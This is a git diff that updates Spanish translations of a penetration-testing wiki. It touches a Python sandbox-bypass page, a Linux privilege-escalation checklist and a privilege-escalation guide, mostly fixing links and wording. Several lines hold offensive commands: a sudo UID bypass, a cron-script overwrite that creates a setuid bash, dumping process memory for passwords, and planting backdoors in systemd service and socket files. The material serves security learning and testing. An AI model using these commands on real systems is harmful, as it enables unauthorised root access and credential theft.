@ -823,7 +823,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Obtener información del código
|
||||
### Obteniendo Información del Código
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -965,7 +965,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Recreando una función filtrada
|
||||
### Recreating a leaked function
|
||||
|
||||
> [!WARNING]
|
||||
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente del objeto de código de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **necesitarás filtrar**.
|
||||
@ -1029,11 +1029,11 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Varios
|
||||
## Misc Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional al valor de **debug**.\
|
||||
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en el valor de **debug**.\
|
||||
Por lo tanto, verificaciones como
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Diferentes vulnerabilidades como [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) o [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) podrían permitirte **leer datos internos de python pero no te permitirán ejecutar código**. Por lo tanto, un pentester necesitará aprovechar al máximo estos permisos de lectura para **obtener privilegios sensibles y escalar la vulnerabilidad**.
|
||||
Diferentes vulnerabilidades como [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) o [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) podrían permitirte **leer datos internos de python pero no te permitirán ejecutar código**. Por lo tanto, un pentester necesitará aprovechar al máximo estos permisos de lectura para **obtener privilegios sensibles y escalar la vulnerabilidad**.
|
||||
|
||||
### Flask - Leer clave secreta
|
||||
|
||||
|
||||
@ -4,71 +4,71 @@
|
||||
|
||||
### **Mejor herramienta para buscar vectores de escalación de privilegios locales en Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Información del sistema](privilege-escalation/#system-information)
|
||||
### [Información del sistema](privilege-escalation/index.html#system-information)
|
||||
|
||||
- [ ] Obtener **información del SO**
|
||||
- [ ] Verificar el [**PATH**](privilege-escalation/#path), ¿hay alguna **carpeta escribible**?
|
||||
- [ ] Verificar [**variables de entorno**](privilege-escalation/#env-info), ¿hay algún detalle sensible?
|
||||
- [ ] Buscar [**exploits del kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (¿DirtyCow?)
|
||||
- [ ] **Verificar** si la [**versión de sudo** es vulnerable](privilege-escalation/#sudo-version)
|
||||
- [ ] [**Dmesg** verificación de firma fallida](privilege-escalation/#dmesg-signature-verification-failed)
|
||||
- [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de CPU, impresoras](privilege-escalation/#more-system-enumeration))
|
||||
- [ ] [**Enumerar más defensas**](privilege-escalation/#enumerate-possible-defenses)
|
||||
- [ ] Verificar el [**PATH**](privilege-escalation/index.html#path), ¿hay alguna **carpeta escribible**?
|
||||
- [ ] Verificar [**variables de entorno**](privilege-escalation/index.html#env-info), ¿hay algún detalle sensible?
|
||||
- [ ] Buscar [**exploits del kernel**](privilege-escalation/index.html#kernel-exploits) **usando scripts** (¿DirtyCow?)
|
||||
- [ ] **Verificar** si la [**versión de sudo** es vulnerable](privilege-escalation/index.html#sudo-version)
|
||||
- [ ] [**Dmesg** verificación de firma fallida](privilege-escalation/index.html#dmesg-signature-verification-failed)
|
||||
- [ ] Más enumeración del sistema ([fecha, estadísticas del sistema, información de CPU, impresoras](privilege-escalation/index.html#more-system-enumeration))
|
||||
- [ ] [Enumerar más defensas](privilege-escalation/index.html#enumerate-possible-defenses)
|
||||
|
||||
### [Unidades](privilege-escalation/#drives)
|
||||
### [Unidades](privilege-escalation/index.html#drives)
|
||||
|
||||
- [ ] **Listar unidades** montadas
|
||||
- [ ] **¿Alguna unidad no montada?**
|
||||
- [ ] **¿Alguna credencial en fstab?**
|
||||
|
||||
### [**Software instalado**](privilege-escalation/#installed-software)
|
||||
### [**Software instalado**](privilege-escalation/index.html#installed-software)
|
||||
|
||||
- [ ] **Verificar** [**software útil**](privilege-escalation/#useful-software) **instalado**
|
||||
- [ ] **Verificar** [**software vulnerable**](privilege-escalation/#vulnerable-software-installed) **instalado**
|
||||
- [ ] **Verificar** [**software útil**](privilege-escalation/index.html#useful-software) **instalado**
|
||||
- [ ] **Verificar** [**software vulnerable**](privilege-escalation/index.html#vulnerable-software-installed) **instalado**
|
||||
|
||||
### [Procesos](privilege-escalation/#processes)
|
||||
### [Procesos](privilege-escalation/index.html#processes)
|
||||
|
||||
- [ ] ¿Hay algún **software desconocido en ejecución**?
|
||||
- [ ] ¿Hay algún software en ejecución con **más privilegios de los que debería tener**?
|
||||
- [ ] Buscar **exploits de procesos en ejecución** (especialmente la versión en ejecución).
|
||||
- [ ] ¿Puedes **modificar el binario** de algún proceso en ejecución?
|
||||
- [ ] **Monitorear procesos** y verificar si algún proceso interesante se está ejecutando con frecuencia.
|
||||
- [ ] ¿Puedes **leer** alguna **memoria de proceso** interesante (donde podrían estar guardadas las contraseñas)?
|
||||
- [ ] ¿Puedes **leer** alguna **memoria de proceso** interesante (donde podrían guardarse contraseñas)?
|
||||
|
||||
### [¿Tareas programadas/Cron?](privilege-escalation/#scheduled-jobs)
|
||||
### [¿Tareas programadas/Cron?](privilege-escalation/index.html#scheduled-jobs)
|
||||
|
||||
- [ ] ¿Se está modificando el [**PATH**](privilege-escalation/#cron-path) por algún cron y puedes **escribir** en él?
|
||||
- [ ] ¿Algún [**comodín**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
|
||||
- [ ] ¿Algún [**script modificable**](privilege-escalation/#cron-script-overwriting-and-symlink) está siendo **ejecutado** o está dentro de una **carpeta modificable**?
|
||||
- [ ] ¿Has detectado que algún **script** podría estar o está siendo [**ejecutado** muy **frecuentemente**](privilege-escalation/#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
|
||||
- [ ] ¿El [**PATH**](privilege-escalation/index.html#cron-path) está siendo modificado por algún cron y puedes **escribir** en él?
|
||||
- [ ] ¿Algún [**comodín**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) en un trabajo cron?
|
||||
- [ ] ¿Algún [**script modificable**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) está siendo **ejecutado** o está dentro de una **carpeta modificable**?
|
||||
- [ ] ¿Has detectado que algún **script** podría estar o está siendo [**ejecutado** muy **frecuentemente**](privilege-escalation/index.html#frequent-cron-jobs)? (cada 1, 2 o 5 minutos)
|
||||
|
||||
### [Servicios](privilege-escalation/#services)
|
||||
### [Servicios](privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] ¿Algún archivo **.service** **escribible**?
|
||||
- [ ] ¿Algún **binario escribible** ejecutado por un **servicio**?
|
||||
- [ ] ¿Alguna **carpeta escribible en el PATH de systemd**?
|
||||
|
||||
### [Temporizadores](privilege-escalation/#timers)
|
||||
### [Temporizadores](privilege-escalation/index.html#timers)
|
||||
|
||||
- [ ] ¿Algún **temporizador escribible**?
|
||||
|
||||
### [Sockets](privilege-escalation/#sockets)
|
||||
### [Sockets](privilege-escalation/index.html#sockets)
|
||||
|
||||
- [ ] ¿Algún archivo **.socket** **escribible**?
|
||||
- [ ] ¿Puedes **comunicarte con algún socket**?
|
||||
- [ ] ¿**Sockets HTTP** con información interesante?
|
||||
|
||||
### [D-Bus](privilege-escalation/#d-bus)
|
||||
### [D-Bus](privilege-escalation/index.html#d-bus)
|
||||
|
||||
- [ ] ¿Puedes **comunicarte con algún D-Bus**?
|
||||
|
||||
### [Red](privilege-escalation/#network)
|
||||
### [Red](privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Enumerar la red para saber dónde estás
|
||||
- [ ] **¿Puertos abiertos a los que no pudiste acceder antes** de obtener un shell dentro de la máquina?
|
||||
- [ ] ¿Puedes **capturar tráfico** usando `tcpdump`?
|
||||
|
||||
### [Usuarios](privilege-escalation/#users)
|
||||
### [Usuarios](privilege-escalation/index.html#users)
|
||||
|
||||
- [ ] Enumeración de usuarios/grupos **genéricos**
|
||||
- [ ] ¿Tienes un **UID muy grande**? ¿Es la **máquina** **vulnerable**?
|
||||
@ -77,43 +77,43 @@
|
||||
- [ ] ¿Política de contraseñas?
|
||||
- [ ] Intenta **usar** cada **contraseña conocida** que hayas descubierto previamente para iniciar sesión **con cada** posible **usuario**. Intenta iniciar sesión también sin una contraseña.
|
||||
|
||||
### [PATH escribible](privilege-escalation/#writable-path-abuses)
|
||||
### [PATH escribible](privilege-escalation/index.html#writable-path-abuses)
|
||||
|
||||
- [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH**, podrías ser capaz de escalar privilegios
|
||||
- [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH** podrías ser capaz de escalar privilegios
|
||||
|
||||
### [Comandos SUDO y SUID](privilege-escalation/#sudo-and-suid)
|
||||
### [Comandos SUDO y SUID](privilege-escalation/index.html#sudo-and-suid)
|
||||
|
||||
- [ ] ¿Puedes ejecutar **cualquier comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] ¿Hay algún **binario SUID explotable**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] ¿Los [**comandos sudo** están **limitados** por **path**? ¿Puedes **eludir** las restricciones](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
- [ ] [**Binario Sudo/SUID sin path indicado**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
- [ ] [**Binario SUID especificando path**](privilege-escalation/#suid-binary-with-command-path)? Eludir
|
||||
- [ ] [**Vuln de LD_PRELOAD**](privilege-escalation/#ld_preload)
|
||||
- [ ] [**Falta de .so en binario SUID**](privilege-escalation/#suid-binary-so-injection) desde una carpeta escribible?
|
||||
- [ ] [**Tokens SUDO disponibles**](privilege-escalation/#reusing-sudo-tokens)? [**¿Puedes crear un token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
- [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
- [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
- [ ] [**Comando OpenBSD DOAS**](privilege-escalation/#doas)
|
||||
- [ ] ¿Los [**comandos sudo** están **limitados** por **path**? ¿Puedes **eludir** las restricciones](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
|
||||
- [ ] [**Binario Sudo/SUID sin path indicado**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
|
||||
- [ ] [**Binario SUID especificando path**](privilege-escalation/index.html#suid-binary-with-command-path)? Eludir
|
||||
- [ ] [**Vuln de LD_PRELOAD**](privilege-escalation/index.html#ld_preload)
|
||||
- [ ] [**Falta de .so en binario SUID**](privilege-escalation/index.html#suid-binary-so-injection) desde una carpeta escribible?
|
||||
- [ ] [**Tokens SUDO disponibles**](privilege-escalation/index.html#reusing-sudo-tokens)? [**¿Puedes crear un token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
- [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
|
||||
- [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)?
|
||||
- [ ] [**Comando OpenBSD DOAS**](privilege-escalation/index.html#doas)
|
||||
|
||||
### [Capacidades](privilege-escalation/#capabilities)
|
||||
### [Capacidades](privilege-escalation/index.html#capabilities)
|
||||
|
||||
- [ ] ¿Algún binario tiene alguna **capacidad inesperada**?
|
||||
|
||||
### [ACLs](privilege-escalation/#acls)
|
||||
### [ACLs](privilege-escalation/index.html#acls)
|
||||
|
||||
- [ ] ¿Algún archivo tiene alguna **ACL inesperada**?
|
||||
|
||||
### [Sesiones de Shell abiertas](privilege-escalation/#open-shell-sessions)
|
||||
### [Sesiones de Shell abiertas](privilege-escalation/index.html#open-shell-sessions)
|
||||
|
||||
- [ ] **screen**
|
||||
- [ ] **tmux**
|
||||
|
||||
### [SSH](privilege-escalation/#ssh)
|
||||
### [SSH](privilege-escalation/index.html#ssh)
|
||||
|
||||
- [ ] **Debian** [**OpenSSL PRNG predecible - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
- [ ] [**Valores de configuración interesantes de SSH**](privilege-escalation/#ssh-interesting-configuration-values)
|
||||
- [ ] **Debian** [**OpenSSL PRNG predecible - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
- [ ] [**Valores de configuración interesantes de SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values)
|
||||
|
||||
### [Archivos interesantes](privilege-escalation/#interesting-files)
|
||||
### [Archivos interesantes](privilege-escalation/index.html#interesting-files)
|
||||
|
||||
- [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para privesc?
|
||||
- [ ] **Archivos passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para privesc?
|
||||
@ -122,22 +122,22 @@
|
||||
- [ ] **Modificados** en los últimos minutos
|
||||
- [ ] **Archivos de base de datos Sqlite**
|
||||
- [ ] **Archivos ocultos**
|
||||
- [ ] **Scripts/Binarios en PATH**
|
||||
- [ ] **Script/Binarios en PATH**
|
||||
- [ ] **Archivos web** (¿contraseñas?)
|
||||
- [ ] **¿Copias de seguridad?**
|
||||
- [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**
|
||||
- [ ] **Búsqueda genérica**
|
||||
|
||||
### [**Archivos escribibles**](privilege-escalation/#writable-files)
|
||||
### [**Archivos escribibles**](privilege-escalation/index.html#writable-files)
|
||||
|
||||
- [ ] **Modificar biblioteca de python** para ejecutar comandos arbitrarios?
|
||||
- [ ] ¿Puedes **modificar archivos de registro**? **Explotación Logtotten**
|
||||
- [ ] ¿Puedes **modificar /etc/sysconfig/network-scripts/**? Explotación Centos/Redhat
|
||||
- [ ] ¿Puedes [**escribir en archivos ini, int.d, systemd o rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
- [ ] ¿Puedes [**escribir en archivos ini, int.d, systemd o rc.d**](privilege-escalation/index.html#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**Otros trucos**](privilege-escalation/#other-tricks)
|
||||
### [**Otros trucos**](privilege-escalation/index.html#other-tricks)
|
||||
|
||||
- [ ] ¿Puedes [**abusar de NFS para escalar privilegios**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
- [ ] ¿Necesitas [**escapar de un shell restrictivo**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
- [ ] ¿Puedes [**abusar de NFS para escalar privilegios**](privilege-escalation/index.html#nfs-privilege-escalation)?
|
||||
- [ ] ¿Necesitas [**escapar de un shell restrictivo**](privilege-escalation/index.html#escaping-from-restricted-shells)?
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### Información del SO
|
||||
|
||||
Comencemos a obtener información sobre el SO en ejecución.
|
||||
Comencemos a obtener información sobre el SO en ejecución
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -18,7 +18,7 @@ Si **tienes permisos de escritura en alguna carpeta dentro de la variable `PATH`
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Info del entorno
|
||||
### Env info
|
||||
|
||||
¿Información interesante, contraseñas o claves API en las variables de entorno?
|
||||
```bash
|
||||
@ -73,9 +73,9 @@ De @sickrov
|
||||
```
|
||||
sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg la verificación de firma falló
|
||||
### Dmesg signature verification failed
|
||||
|
||||
Consulta la **caja smasher2 de HTB** para un **ejemplo** de cómo se podría explotar esta vulnerabilidad.
|
||||
Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
@ -150,7 +150,7 @@ También, verifica si **algún compilador está instalado**. Esto es útil si ne
|
||||
```
|
||||
### Software Vulnerable Instalado
|
||||
|
||||
Verifique la **versión de los paquetes y servicios instalados**. Tal vez haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalar privilegios…\
|
||||
Verifique la **versión de los paquetes y servicios instalados**. Puede que haya alguna versión antigua de Nagios (por ejemplo) que podría ser explotada para escalar privilegios...\
|
||||
Se recomienda verificar manualmente la versión del software instalado más sospechoso.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -162,13 +162,13 @@ Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para veri
|
||||
|
||||
## Procesos
|
||||
|
||||
Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?)
|
||||
Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutado por root?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Siempre verifica si hay posibles [**electron/cef/chromium debuggers**] corriendo, podrías abusar de ello para escalar privilegios. **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
|
||||
Siempre verifica si hay posibles [**depuradores de electron/cef/chromium**] corriendo, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
|
||||
También **verifica tus privilegios sobre los binarios de los procesos**, tal vez puedas sobrescribir a alguien.
|
||||
|
||||
### Monitoreo de procesos
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo pseudo mem expone la memoria de los procesos**. A partir del archivo **maps sabemos qué regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo.
|
||||
Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo pseudo mem expone la memoria de los procesos**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -291,13 +291,13 @@ strings *.dump | grep -i password
|
||||
La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **robará credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente.
|
||||
|
||||
| Característica | Nombre del Proceso |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Conexiones FTP Activas) | vsftpd |
|
||||
| Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 |
|
||||
| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
|
||||
| -------------------------------------------------- | -------------------- |
|
||||
| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Conexiones FTP Activas) | vsftpd |
|
||||
| Apache2 (Sesiones HTTP Basic Auth Activas) | apache2 |
|
||||
| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
# finding secrets
|
||||
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
|
||||
```
|
||||
## Trabajos programados/Cron
|
||||
## Scheduled/Cron jobs
|
||||
|
||||
Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que se ejecute como root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
|
||||
Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que está siendo ejecutado por root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -356,19 +356,19 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
|
||||
Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, tal vez podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Trabajos cron frecuentes
|
||||
|
||||
Puedes monitorear los procesos para buscar procesos que se están ejecutando cada 1, 2 o 5 minutos. Tal vez puedas aprovechar esto y escalar privilegios.
|
||||
Puedes monitorear los procesos para buscar aquellos que se están ejecutando cada 1, 2 o 5 minutos. Tal vez puedas aprovechar esto y escalar privilegios.
|
||||
|
||||
Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por los comandos menos ejecutados** y eliminar los comandos que se han ejecutado más, puedes hacer:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que se inicie).
|
||||
**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que inicie).
|
||||
|
||||
### Trabajos cron invisibles
|
||||
|
||||
@ -387,7 +387,7 @@ Por ejemplo, crea tu puerta trasera dentro del archivo .service con **`ExecStart
|
||||
|
||||
Ten en cuenta que si tienes **permisos de escritura sobre los binarios que son ejecutados por servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas.
|
||||
|
||||
### systemd PATH - Rutas relativas
|
||||
### PATH de systemd - Rutas relativas
|
||||
|
||||
Puedes ver el PATH utilizado por **systemd** con:
|
||||
```bash
|
||||
@ -399,7 +399,7 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Luego, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta PATH de systemd en la que puedes escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
|
||||
Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del binario** dentro de la carpeta PATH de systemd en la que puedes escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
|
||||
|
||||
**Aprende más sobre los servicios con `man systemd.service`.**
|
||||
|
||||
@ -411,13 +411,13 @@ Puedes enumerar todos los temporizadores con:
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
### Temporizadores escribibles
|
||||
### Writable timers
|
||||
|
||||
Si puedes modificar un temporizador, puedes hacer que ejecute algunas instancias de systemd.unit (como un `.service` o un `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
En la documentación puedes leer qué es la unidad:
|
||||
En la documentación puedes leer qué es la Unidad:
|
||||
|
||||
> La unidad que se activa cuando se agota este temporizador. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor predeterminado es un servicio que tiene el mismo nombre que la unidad del temporizador, excepto por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad del temporizador tengan el mismo nombre, excepto por el sufijo.
|
||||
|
||||
@ -435,11 +435,11 @@ Para habilitar un temporizador necesitas privilegios de root y ejecutar:
|
||||
sudo systemctl enable backu2.timer
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
|
||||
```
|
||||
Note que el **temporizador** se **activa** creando un symlink a él en `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
|
||||
Note que el **temporizador** está **activado** al crear un symlink a él en `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
|
||||
|
||||
## Sockets
|
||||
|
||||
Los Sockets de Dominio Unix (UDS) permiten la **comunicación entre procesos** en la misma o diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor estándar de Unix para la comunicación entre computadoras y se configuran a través de archivos `.socket`.
|
||||
Los Sockets de Dominio Unix (UDS) permiten la **comunicación entre procesos** en las mismas o diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor estándar de Unix para la comunicación entre computadoras y se configuran a través de archivos `.socket`.
|
||||
|
||||
Los sockets se pueden configurar utilizando archivos `.socket`.
|
||||
|
||||
@ -453,8 +453,8 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
|
||||
|
||||
### Archivos .socket escribibles
|
||||
|
||||
Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
|
||||
&#xNAN;_Note que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_
|
||||
Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
|
||||
&#xNAN;_Note que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
|
||||
|
||||
### Sockets escribibles
|
||||
|
||||
@ -485,7 +485,7 @@ Ten en cuenta que puede haber algunos **sockets escuchando solicitudes HTTP** (_
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
Si el socket **responde con una** solicitud HTTP, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**.
|
||||
Si el socket **responde con una solicitud HTTP**, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**.
|
||||
|
||||
### Socket de Docker Escribible
|
||||
|
||||
@ -502,7 +502,7 @@ Estos comandos te permiten ejecutar un contenedor con acceso a nivel de root al
|
||||
|
||||
#### **Usando la API de Docker Directamente**
|
||||
|
||||
En casos donde el CLI de Docker no está disponible, el socket de Docker aún puede ser manipulado usando la API de Docker y comandos `curl`.
|
||||
En casos donde la CLI de Docker no está disponible, el socket de Docker aún puede ser manipulado usando la API de Docker y comandos `curl`.
|
||||
|
||||
1. **Listar Imágenes de Docker:** Recupera la lista de imágenes disponibles.
|
||||
|
||||
